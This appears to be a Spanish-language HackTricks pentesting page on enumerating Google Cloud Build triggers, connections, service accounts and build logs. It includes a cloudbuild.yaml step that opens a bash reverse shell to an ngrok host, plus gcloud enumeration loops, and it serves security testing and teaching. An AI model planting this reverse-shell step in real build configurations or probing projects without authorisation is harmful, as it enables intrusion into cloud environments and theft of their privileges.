GCP - Cloud Build Enum

Support HackTricks

Información Básica

Google Cloud Build es una plataforma CI/CD gestionada que automáticamente construye software y procesos de lanzamiento, integrándose con repositorios de código fuente y soportando una amplia gama de lenguajes de programación. Permite a los desarrolladores construir, probar y desplegar código automáticamente mientras proporciona flexibilidad para personalizar los pasos de construcción y flujos de trabajo.

Cada Trigger de Cloud Build está relacionado con un Repositorio en la Nube o conectado directamente con un repositorio externo (Github, Bitbucket y Gitlab).

No pude ver ninguna forma de robar el token de Github/Bitbucket desde aquí o desde Repositorios en la Nube porque cuando se descarga el repo se accede a través de una URL https://source.cloud.google.com/ y Github no es accedido por el cliente.

Eventos

El Cloud Build puede ser activado si:

  • Push a una rama: Especificar la rama

  • Push a una nueva etiqueta: Especificar la etiqueta

  • Petición de extracción: Especificar la rama que recibe la PR

  • Invocación Manual

  • Mensaje Pub/Sub: Especificar el tema

  • Evento Webhook: Expondrá una URL HTTPS y la solicitud debe ser autenticada con un secreto

Ejecución

Hay 3 opciones:

  • Un yaml/json especificando los comandos a ejecutar. Usualmente: /cloudbuild.yaml

  • Solo uno que puede ser especificado “en línea” en la consola web y en la cli

  • Opción más común

  • Relevante para acceso no autenticado

  • Un Dockerfile para construir

  • Un Buildpack para construir

Permisos de SA

La Cuenta de Servicio tiene el alcance cloud-platform, por lo que puede usar todos los privilegios. Si no se especifica SA (como al hacer submit) se usará la SA por defecto <proj-number>@cloudbuild.gserviceaccount.com.

Por defecto no se otorgan permisos, pero es bastante fácil otorgar algunos:

Aprobaciones

Es posible configurar un Cloud Build para requerir aprobaciones para ejecuciones de construcción (deshabilitado por defecto).

Aprobaciones de PR

Cuando el trigger es PR porque cualquiera puede realizar PRs a repositorios públicos sería muy peligroso permitir la ejecución del trigger con cualquier PR. Por lo tanto, por defecto, la ejecución será automática solo para propietarios y colaboradores, y para ejecutar el trigger con PRs de otros usuarios, un propietario o colaborador debe comentar /gcbrun.

Conexiones y Repositorios

Las conexiones pueden ser creadas sobre:

  • GitHub: Mostrará un aviso de OAuth pidiendo permisos para obtener un token de Github que será almacenado dentro del Secret Manager.

  • GitHub Enterprise: Pedirá instalar una GithubApp. Se creará y almacenará en este proyecto un token de autenticación de tu host de GitHub Enterprise como un secreto de Secret Manager.

  • GitLab / Enterprise: Necesitas proporcionar el token de acceso a la API y el token de acceso a la API de lectura que será almacenado en el Secret Manager.

Una vez que se genera una conexión, puedes usarla para vincular repositorios a los que la cuenta de Github tiene acceso.

Esta opción está disponible a través del botón:

Ten en cuenta que los repositorios conectados con este método son solo disponibles en Triggers usando la 2ª generación.

Conectar un Repositorio

Esto no es lo mismo que una conexión. Esto permite diferentes formas de obtener acceso a un repositorio de Github o Bitbucket pero no genera un objeto de conexión, sino que genera un objeto de repositorio (de 1ª generación).

Esta opción está disponible a través del botón:

Almacenamiento

A veces Cloud Build generará un nuevo almacenamiento para guardar los archivos para el trigger. Esto sucede, por ejemplo, en el ejemplo que GCP ofrece con:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Un bucket de almacenamiento llamado security-devbox_cloudbuild se crea para almacenar un .tgz con los archivos que se utilizarán.

Obtener shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Instalar gcloud dentro de cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeración

Podrías encontrar información sensible en las configuraciones de construcción y registros.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Escalación de Privilegios

GCP - Cloudbuild Privesc

Acceso No Autenticado

GCP - Cloud Build Unauthenticated Enum

Post Explotación

GCP - Cloud Build Post Exploitation
Apoya a HackTricks

Last updated